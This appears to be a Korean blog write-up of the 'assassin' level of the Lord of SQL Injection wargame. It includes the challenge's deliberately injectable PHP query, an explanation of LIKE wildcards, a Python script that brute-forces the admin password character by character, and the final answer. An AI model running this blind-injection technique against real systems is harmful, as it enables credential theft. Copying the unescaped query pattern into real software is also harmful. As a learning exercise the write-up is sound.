728x90
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); // ' 사용 불가
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
highlight_file(__FILE__);
?>
like 연산자는 '%' 또는 '_'와 많이 쓰인다. '%'는 문자(열)를 의미. '_'는 문자 한 개 의미.
like 'a%' : a로 시작하는 문자열
like '_a': a로 끝나는 길이가 2인 문자열.
'%'를 이용하여 문제를 풀었다. ?pw=문자% 형태로 전달해보면 Hello admin은 나오지 않고 Hello guest만 나온다.
이는 admin과 guest의 비밀번호 첫 글자가 같으며 guest가 db 내에서 더 상단에 있다는 것을 의미한다.
두 번째 문자의 경우도 첫 번째 문자의 경우와 같았다.
두 번째 문자까진 Hello guest 출력 여부로 비밀번호를 알아낸다. 코드에서 admin 부분을 guest로 바꿔야한다.
그 결과 guest와 admin 모두 비밀번호 앞 두자리가 90임을 알 수 있다.
마침내 세 번째 문자에서 Hello admin이 나오는 것을 확인할 수 있었다.
import requests
url='https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
cookie={'PHPSESSID':'자신의 세션 id'}
ch='0123456789abcdefghijklmnopqrstuvwxyz_'
def find_pw():
pw=''
while True:
found=False
for i in ch:
r=requests.get(url+"?pw=90{}%25".format(pw+i),cookies=cookie)
if 'Hello admin' in r.text:
pw+=i
found=True
break
if found is False:
print(pw)
break
find_pw()
답: ?pw=902efd10 또는 ?pw=902%
728x90
'Lord of SQL Injection' 카테고리의 다른 글
zombie_assassin (0) | 2022.12.23 |
---|---|
succubus (0) | 2022.12.23 |
giant (0) | 2022.12.23 |
bugbear (0) | 2022.12.22 |
darkknight (0) | 2022.12.22 |